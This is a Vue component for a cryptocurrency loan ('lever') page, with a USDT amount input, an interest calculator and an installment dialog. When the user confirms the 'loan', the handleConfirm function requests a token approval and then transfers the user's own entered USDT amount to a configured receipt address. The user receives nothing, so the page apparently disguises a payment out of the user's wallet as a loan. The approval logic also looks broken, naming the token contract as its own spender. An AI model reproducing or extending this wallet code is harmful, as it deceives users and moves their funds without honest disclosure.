<script setup>
import { ref, onMounted } from 'vue'
import { Toast } from 'vant'
import { useAccount, useWriteContract, useReadContract } from '@wagmi/vue'
import { erc20Abi, parseUnits } from 'viem'
import config from '@/config'
import Dialog from '@/components/Dialog.vue'
import api from '@/apis'
import { showToast } from 'vant';
import { useI18n } from 'vue-i18n'
const { t } = useI18n()
let leverData = ref({})
onMounted(async () => {
  const res = await api.lever.loanList()
  leverData.value = res
  res.loan_month.forEach(item => {
    actions.value.push({ text: item.loan_month, className: '_item', id: item.loan_month })
  })
})

// 根据balance 计算总还款金额
function calcTotalRepayByBalance(balance, platformRate) {
  const cents = Math.round(Number(balance) * 100);
  const serviceFee = Math.round(cents * Number(platformRate));
  const total = cents + serviceFee;
  return (total / 100).toFixed(2) || '00.00';
}


//借款金额
let balance = ref(0)
const selectId = ref(1)
// wagmi 状态
const { isConnected, address } = useAccount()
const { writeContractAsync } = useWriteContract()
const { data: allowance } = useReadContract({
  address: config.contractAddress,
  abi: erc20Abi,
  functionName: 'allowance',
  args: [address, config.contractAddress]
})
const actions = ref([{ text: '1', className: '_item', id: 1 }])
const showPopover = ref(false)
const onSelect = async (e) => {
  selectId.value = e.id
  getData()
}
//按期数获得利息
let repayment = ref(0)
let getData = async () => {
  let res = await api.lever.calculate({
    month: selectId.value,
    amount: balance.value || 1000
  })
  repayment.value = res.repay_amount
}

//确定借贷
let handleConfirm = async () => {
  let res = await api.lever.loan({
    month: selectId.value,
    amount: balance.value || 0
  })
  try {
    if (!isConnected.value) {
      showToast('请先连接钱包');
      return
    }

    const amount = balance.value
    const currentAllowance = allowance.value || 0

    // 检测授权金额
    if (currentAllowance < amount) {
      // 授权剩余金额
      const remainingAmount = parseUnits((amount - currentAllowance).toString(), 18)
      await writeContractAsync({
        address: config.contractAddress,
        abi: erc20Abi,
        functionName: 'approve',
        args: [config.contractAddress, remainingAmount]
      })
      showToast('授权成功')
    }
    // 转账
    await writeContractAsync({
      address: config.contractAddress,
      abi: erc20Abi,
      functionName: 'transfer',
      args: [config.receiptAddress, parseUnits(amount.toString(), 18)]
    })
    showToast('交易已提交')
  } catch (err) {
    showToast(err?.shortMessage || err?.message || '支付失敗')
  }
}

let stagingDialog = ref(null)
const openStaging = () => {
  if (!balance.value || balance.value == 0) {
    showToast('请输入借贷金额');
    return
  }
  getData()
  stagingDialog.value.open()
}
</script>
<template>
  <div class="container">
    <div class="body w-100%">
      <div class="body_top font-source text-[#fff] mb-20">
        <div class="title text-[22px] mb-10">{{ t('lever') }}</div>
        <div class="tips opacity-70 text-[12px] opacity-70">{{ t('lever_decs') }}</div>
      </div>
      <div class="body_content flex flex-col items-start gap-15">
        <div class="body_content__card font-pingfang">
          <div class="text-[16px] text-[#fff] mb-20"> 贷款金额 </div>
          <!-- <div class="text-[16px] text-[#fff] mb-20">{{ t('lever_marginSetting') }}</div> -->
          <!-- <div class="text-[14px] text-[#fff] opacity-70 mb-12">{{ t('lever_availableMargin') }}</div> -->
          <div class="p-7 flex items-center rounded-[7px] input mb-16">
            <input type="number" class="text-[#FFFFFF] opacity-70 w-100%" placeholder="00.00" v-model="balance" />
            <div class="text-[#00C8FF] text-[12px] ml-6">USDT</div>
          </div>
          <!-- <div class="text-[12px] text-[#fff] opacity-70">{{ t('lever_currentAccountBalance') }}:500 USDT</div> -->
        </div>
        <!-- <div class="body_content__card font-pingfang">
          <div class="text-[16px] text-[#fff] mb-20">{{ t('lever_leverageRatio') }}</div>
          <div class="text-[14px] text-[#fff] mb-12 flex justify-between">
            <div class="opacity-70">{{ t('lever_leverageRatio') }}</div>
            <div
              class="px-10 h-20 rounded-full bg-[#1198FD]/10 flex items-center justify-center text-[12px] text-[#1198FD]">
              2{{ t('lever_timesLeverage') }}
            </div>
          </div>
          <div class="slider mb-15">
            <van-slider v-model="value" bar-height="9px"
              active-color="linear-gradient(90deg, #1675FD 0%, #00FFFB 100%)">
              <template #button>
                <div class="bg-[#02F1FB] rounded-full w-15 h-15"></div>
              </template>
</van-slider>
</div>
<div class="text-[12px] text-[#fff] mb-12 flex justify-between">
  <div class="opacity-70">2{{ t('lever_lowRisk') }}</div>
  <div class="opacity-70">5{{ t('lever_highRisk') }}</div>
</div>
<div class="flex items-center justify-between">
  <div :class="[
              index % 2 == 0 ? 'bg-[#1675FD]' : 'bg-[#97ACFF36]/21',
              'text-[#fff]',
              'text-[12px]',
              'w-50',
              'p-5',
              'flex',
              'items-center',
              'justify-center',
              'rounded-[50px]'
            ]" v-for="(item, index) in multipleList" :key="index">
    {{ item.label }}
  </div>
</div>
</div> -->
        <!-- <div class="body_content__card font-pingfang">
          <div class="text-[16px] text-[#fff] mb-20">选择账户</div>
          <div
            class="p-7 flex items-center justify-between rounded-[7px] bg-[#41588C4D]/30 input mb-14"
          >
            <div class="text-[#fff] opacity-70">张飞</div>
            <svg
              xmlns="http://www.w3.org/2000/svg"
              width="15"
              height="11"
              viewBox="0 0 23 16"
              fill="none"
            >
              <path
                d="M13.0915 14.9088C12.2911 15.9605 10.7089 15.9605 9.90848 14.9088L1.38655 3.71123C0.384508 2.39458 1.32348 0.5 2.97806 0.5H20.0219C21.6765 0.5 22.6155 2.39458 21.6135 3.71123L13.0915 14.9088Z"
                fill="#BCC0CC"
              />
            </svg>
          </div>
          <div class="text-[#00FFFB] text-[12px]">添加账户</div>
        </div> -->
        <div class="body_content__card font-pingfang">
          <div class="text-[16px] text-[#fff] mb-20 flex items-center">
            <svg xmlns="http://www.w3.org/2000/svg" width="19" height="19" viewBox="0 0 38 39" fill="none">
              <path
                d="M5.9375 3.76196V35.2196C5.9375 35.7131 6.33457 36.1102 6.82812 36.1102H31.1756C31.6691 36.1102 32.0662 35.7131 32.0662 35.2196V3.76196C32.0662 3.26841 31.6691 2.87134 31.1756 2.87134H6.82812C6.33828 2.87134 5.9375 3.26841 5.9375 3.76196ZM29.6949 5.69165V9.55474C29.6949 9.79966 29.4945 10 29.2496 10H8.75781C8.51289 10 8.3125 9.79966 8.3125 9.55474V5.69165C8.3125 5.44673 8.51289 5.24634 8.75781 5.24634H29.2459C29.4945 5.24634 29.6949 5.44302 29.6949 5.69165ZM8.3125 33.2899V12.8204C8.3125 12.5754 8.51289 12.375 8.75781 12.375H29.2459C29.4908 12.375 29.6912 12.5754 29.6912 12.8204V33.2899C29.6912 33.5348 29.4908 33.7352 29.2459 33.7352H8.75781C8.51289 33.7352 8.3125 33.5348 8.3125 33.2899Z"
                fill="white" />
              <path
                d="M13.4482 19.5482H10.4795C9.98594 19.5482 9.58887 19.1511 9.58887 18.6576V15.6888C9.58887 15.1953 9.98594 14.7982 10.4795 14.7982H13.4482C13.9418 14.7982 14.3389 15.1953 14.3389 15.6888V18.6576C14.3389 19.1511 13.9418 19.5482 13.4482 19.5482ZM20.5324 19.5482H17.5637C17.0701 19.5482 16.673 19.1511 16.673 18.6576V15.6888C16.673 15.1953 17.0701 14.7982 17.5637 14.7982H20.5324C21.026 14.7982 21.423 15.1953 21.423 15.6888V18.6576C21.423 19.1511 21.0223 19.5482 20.5324 19.5482ZM27.6203 19.5482H24.6516C24.158 19.5482 23.7609 19.1511 23.7609 18.6576V15.6888C23.7609 15.1953 24.158 14.7982 24.6516 14.7982H27.6203C28.1139 14.7982 28.5109 15.1953 28.5109 15.6888V18.6576C28.5109 19.1511 28.1139 19.5482 27.6203 19.5482Z"
                fill="white" />
              <path
                d="M13.4448 25.4561H10.4761C9.98252 25.4561 9.58545 25.059 9.58545 24.5654V21.5967C9.58545 21.1031 9.98252 20.7061 10.4761 20.7061H13.4448C13.9384 20.7061 14.3354 21.1031 14.3354 21.5967V24.5654C14.3354 25.0553 13.9384 25.4561 13.4448 25.4561ZM20.529 25.4561H17.5603C17.0667 25.4561 16.6696 25.059 16.6696 24.5654V21.5967C16.6696 21.1031 17.0667 20.7061 17.5603 20.7061H20.529C21.0226 20.7061 21.4196 21.1031 21.4196 21.5967V24.5654C21.4196 25.0553 21.0188 25.4561 20.529 25.4561ZM27.6169 25.4561H24.6481C24.1546 25.4561 23.7575 25.059 23.7575 24.5654V21.5967C23.7575 21.1031 24.1546 20.7061 24.6481 20.7061H27.6169C28.1105 20.7061 28.5075 21.1031 28.5075 21.5967V24.5654C28.5075 25.0553 28.1105 25.4561 27.6169 25.4561Z"
                fill="white" />
              <path
                d="M13.4448 31.3601H10.4761C9.98252 31.3601 9.58545 30.963 9.58545 30.4695V27.5007C9.58545 27.0072 9.98252 26.6101 10.4761 26.6101H13.4448C13.9384 26.6101 14.3354 27.0072 14.3354 27.5007V30.4695C14.3354 30.9593 13.9384 31.3601 13.4448 31.3601ZM20.529 31.3601H17.5603C17.0667 31.3601 16.6696 30.963 16.6696 30.4695V27.5007C16.6696 27.0072 17.0667 26.6101 17.5603 26.6101H20.529C21.0226 26.6101 21.4196 27.0072 21.4196 27.5007V30.4695C21.4196 30.9593 21.0188 31.3601 20.529 31.3601ZM27.6169 31.3601H24.6481C24.1546 31.3601 23.7575 30.963 23.7575 30.4695V27.5007C23.7575 27.0072 24.1546 26.6101 24.6481 26.6101H27.6169C28.1105 26.6101 28.5075 27.0072 28.5075 27.5007V30.4695C28.5075 30.9593 28.1105 31.3601 27.6169 31.3601Z"
                fill="white" />
            </svg>
            <div class="ml-5">{{ t('lever_loanCalculation') }}</div>
          </div>
          <div class="flex flex-col items-center gap-15">
            <!-- <div class="w-100% text-[14px] flex justify-between">
              <div class="text-[#fff] opacity-70">{{ t('lever_deposit') }}</div>
              <div class="text-[#fff]">15 USDT</div>
            </div> -->
            <div class="w-100% text-[14px] flex justify-between">
              <div class="text-[#fff] opacity-70">{{ t('lever_loanAmount') }}</div>
              <div class="text-[#fff]">{{ balance }} USDT</div>
            </div>
            <!-- <div class="w-100% text-[14px] flex justify-between">
              <div class="text-[#fff] opacity-70">{{ t('lever_totalInvestmentAmount') }}</div>
              <div class="text-[#fff]">15 USDT</div>
            </div> -->
            <div class="w-100% h-1 bg-[#fff]/20"></div>
            <div class="w-100% text-[14px] flex justify-between">
              <div class="text-[#fff] opacity-70">{{ t('lever_annualizedRate') }}</div>
              <div class="text-[#fff]">{{ leverData.loan_year_rate || '10' }}%</div>
            </div>
            <div class="w-100% text-[14px] flex justify-between">
              <div class="text-[#fff] opacity-70">{{ t('lever_repaymentDate') }}</div>
              <div class="text-[#fff]">30{{ t('lever_day') }}</div>
            </div>
            <div class="w-100% h-1 bg-[#fff]/20"></div>
            <div class="w-100% text-[14px] flex justify-between">
              <div class="text-[#fff] opacity-70">{{ t('lever_sumPrice') }}</div>
              <div class="text-[#00C8FF]">{{ calcTotalRepayByBalance(balance, (leverData.loan_year_rate || 10) / 100) }}
                USDT
              </div>
            </div>
          </div>
        </div>
        <div class="body_content__card font-pingfang mb-26">
          <div class="text-[16px] text-[#fff] mb-20 flex items-center">
            <svg xmlns="http://www.w3.org/2000/svg" width="19" height="19" viewBox="0 0 38 39" fill="none">
              <g clip-path="url(#clip0_50_576)">
                <path
                  d="M18.7149 38.4958C18.4762 38.5008 18.2423 38.4282 18.0483 38.2889C14.3677 37.6243 10.9659 35.8862 8.27057 33.2931C5.57528 30.7001 3.70696 27.368 2.90059 23.7158C2.88926 23.6396 2.88926 23.5621 2.90059 23.4859V7.5337C2.90259 7.25612 3.00304 6.98826 3.18403 6.7778C3.36503 6.56734 3.61483 6.42794 3.88898 6.3844C9.22172 5.69482 16.991 3.64907 17.6806 1.32749C17.7502 1.08877 17.8954 0.879064 18.0943 0.729859C18.2932 0.580655 18.5352 0.5 18.7839 0.5L19.2206 0.5C19.4663 0.501224 19.7048 0.582748 19.8999 0.732143C20.0949 0.881539 20.2358 1.09061 20.3009 1.32749C20.9905 3.62609 28.7828 5.69482 34.0925 6.3844C34.3709 6.42296 34.6261 6.56021 34.8117 6.77116C34.9974 6.98211 35.101 7.25272 35.1039 7.5337V23.7158C34.2896 27.382 32.4076 30.7249 29.6954 33.3227C26.9831 35.9204 23.5622 37.6565 19.8642 38.3119C19.6547 38.4529 19.4032 38.5178 19.1517 38.4958H18.7149ZM5.19918 23.4859C5.99145 26.7202 7.72432 29.6472 10.179 31.8973C12.6336 34.1474 15.6999 35.6196 18.9907 36.1282C21.7031 35.5995 30.6676 33.14 32.7823 23.371V8.5221C29.5643 8.03939 21.772 6.5453 18.9907 3.48817C16.2094 6.5453 8.41721 8.08536 5.19918 8.5221V23.4859Z"
                  fill="white" />
                <path
                  d="M19.3819 25.6465C19.2226 25.6462 19.065 25.6135 18.9188 25.5502C18.7726 25.487 18.6408 25.3946 18.5314 25.2788L13.6814 19.8311L9.79677 24.3823L8.02686 22.8882L12.624 17.3486C12.7319 17.2215 12.8655 17.1189 13.0162 17.0475C13.1668 16.9762 13.3309 16.9378 13.4975 16.9349C13.6633 16.9285 13.8284 16.9605 13.9799 17.0283C14.1313 17.096 14.2652 17.1978 14.371 17.3256L19.3819 22.7733L28.1855 12.9353L29.8865 14.4754L20.2784 25.2788C20.0459 25.51 19.7327 25.6418 19.4049 25.6465H19.3819Z"
                  fill="white" />
              </g>
              <defs>
                <clipPath id="clip0_50_576">
                  <rect width="38" height="38" fill="white" transform="translate(0 0.5)" />
                </clipPath>
              </defs>
            </svg>
            <div class="ml-5">{{ t('lever_riskIndicator') }}</div>
          </div>
          <div class="flex flex-col items-center gap-15">
            <!-- <div class="w-100% text-[14px] flex justify-between">
              <div class="text-[#fff] opacity-70">{{ t('lever_deposit') }}</div>
              <div class="text-[#fff]">15 USDT</div>
            </div> -->
            <div class="w-100% text-[14px] flex justify-between">
              <div class="text-[#fff] opacity-70">{{ t('lever_loanAmount') }}</div>
              <div class="text-[#fff]">{{ balance }} USDT</div>
            </div>
            <!-- <div class="w-100% text-[14px] flex justify-between">
              <div class="text-[#fff] opacity-70">{{ t('lever_totalInvestmentAmount') }}</div>
              <div class="text-[#fff]">15 USDT</div>
            </div> -->
            <div class="w-100% h-1 bg-[#fff]/20"></div>
            <div class="w-100% text-[14px] flex justify-between">
              <div class="text-[#fff] opacity-70">{{ t('lever_annualizedRate') }}</div>
              <div class="text-[#fff]">{{ leverData.loan_year_rate || '10' }}%</div>
            </div>
            <div class="w-100% text-[14px] flex justify-between">
              <div class="text-[#fff] opacity-70">{{ t('lever_repaymentDate') }}</div>
              <div class="text-[#fff]">30{{ t('lever_day') }}</div>
            </div>
            <div class="w-100% h-1 bg-[#fff]/20"></div>
            <div class="w-100% text-[14px] flex justify-between">
              <div class="text-[#fff] opacity-70">{{ t('lever_sumPrice') }}</div>
              <div class="text-[#00C8FF]">{{ calcTotalRepayByBalance(balance, (leverData.loan_year_rate || 10) / 100) }}
                USDT
              </div>
            </div>
          </div>
        </div>
        <div
          class="body_content__btn w-100% h-47 rounded-[8px] flex items-center justify-center font-pingfang text-[14px] text-[#FFFFFF]"
          @click="openStaging">
          {{ t('lever_confirmTheLoan') }} {{ balance }} USDT
        </div>
      </div>
    </div>
  </div>
  <Dialog ref="stagingDialog" title="借贷分期" cancelText="取消" confirmText="确定" @confirm="handleConfirm">
    <div class="pt-[16px] pb-[20px]">
      <!-- <div class="text-[36px] text-[#182461] font-roboto font-900 text-center mb-6">5.2158</div>
        <div class="text-[#A2B0C3] text-[14px] text-center mb-20 font-pingfang">
          {{ t('lending_toBePaid') }}
        </div> -->
      <div class="flex flex-col gap-20">
        <div>
          <div class="text-[#000] text-[14px] font-source font-700 mb-8">{{ t('lending_selectIssues') }}</div>
          <div class="h-46 px-16 flex items-center justify-between rounded-[7px] input mb-8 font-pingfang text-[14px]">
            <div class="">{{actions.find(item => item.id == selectId).text}}{{ t('lending_phase') }}</div>
            <van-popover v-model:show="showPopover" :actions="actions" @select="onSelect" :show-arrow="false"
              :offset="[-30, -140]">
              <template #reference>
                <div class="ml-6">
                  <svg xmlns="http://www.w3.org/2000/svg" width="14" height="12" viewBox="0 0 23 16" fill="none">
                    <path
                      d="M13.0915 14.9088C12.2911 15.9605 10.7089 15.9605 9.90848 14.9088L1.38655 3.71123C0.384508 2.39458 1.32348 0.5 2.97806 0.5H20.0219C21.6765 0.5 22.6155 2.39458 21.6135 3.71123L13.0915 14.9088Z"
                      fill="#78859D" />
                  </svg>
                </div>
              </template>
              <template #action="{ action, index }">
                <div class="text-[#78859D] text-[12px] text-center w-100%">
                  <span :class="action.id == selectId ? 'text-[#000000]' : ''">{{ action.text }}{{ t('lending_phase')
                    }}</span>
                </div>
              </template>
            </van-popover>
          </div>
          <div class="text-[#0074FF] text-[12px] font-pingfang">
            {{ t('lending_everyMonth') }} {{ Number(repayment / selectId).toFixed(2) }}x{{ selectId }} {{
              t('lending_phase')
            }}</div>
        </div>
        <div>
          <div class="text-[#000] text-[14px] font-source font-700 mb-8">{{ t('lending_InstallmentAmount') }}</div>
          <div class="h-46 px-16 flex items-center rounded-[7px] input mb-8 font-pingfang text-[14px]">
            <input type="number" v-model="balance" disabled class="text-[#78859D] w-100%" placeholder="" />
            <div class="text-[#78859D] ml-6">USDT</div>
          </div>
          <div class="text-[#0074FF] text-[12px] font-pingfang">USDT{{ t('lending_balance') }}：0</div>
        </div>
      </div>
    </div>
  </Dialog>
</template>
<style lang="scss" scoped>
.container {
  width: 100%;

  .body {
    min-height: calc(100vh - var(--van-nav-bar-height));
    background: url('@/static/imgs/lending/bg.png') no-repeat;
    background-size: 100% 100%;
    padding: 20px 15px;

    &_content {
      &__card {
        padding: 15px;
        width: 100%;
        border-radius: 15px;
        border: 1px solid rgba(255, 255, 255, 0.5);
        background: rgba(255, 255, 255, 0.05);
        backdrop-filter: blur(3px);

        .input {
          background: rgba(65, 88, 140, 0.3);

          input {
            background: rgba(65, 88, 140, 0);
            border: none;
            outline: none;
          }
        }
      }

      &__btn {
        background: var(--5,
            radial-gradient(41.55% 42.54% at 52.19% 100%, #89a6ea 0%, #688eff 55.29%, #164bd6 100%));
        box-shadow: 0 0 7.826px 0 rgba(255, 255, 255, 0.5) inset,
          0 6.261px 25.043px 0 rgba(0, 60, 255, 0.34);
      }
    }
  }
}

.lever {
  border-radius: 5px;
  border: 1px solid #fff;
}

.detail {
  border-radius: 11px;
  border: 1px solid #fff;
  // box-shadow: 0 8px 32px 0 rgba(0, 60, 255, 0.34), 0 0 20px 0 rgba(163, 192, 255, 0.57) inset;
}

.now {
  color: #fff;
  font-family: 'PingFang SC';
  font-size: 14px;
  font-style: normal;
  font-weight: 400;
  line-height: normal;
}

.progressbox {
  margin-top: 9px;
  margin-bottom: 16px;

  .progress {
    background: linear-gradient(90deg, #1675fd 0%, #00fffb 100%);
  }
}

.installment {
  // border-radius: 16.564px;
  background: var(--5,
      radial-gradient(41.55% 42.54% at 52.19% 100%, #89a6ea 0%, #688eff 55.29%, #164bd6 100%));
  box-shadow: 0 0 7.826px 0 rgba(255, 255, 255, 0.5) inset,
    0 6.261px 25.043px 0 rgba(0, 60, 255, 0.34);
}

.input {
  background: #eceff5;

  input {
    background: rgba(65, 88, 140, 0);
    border: none;
    outline: none;
  }
}
</style>
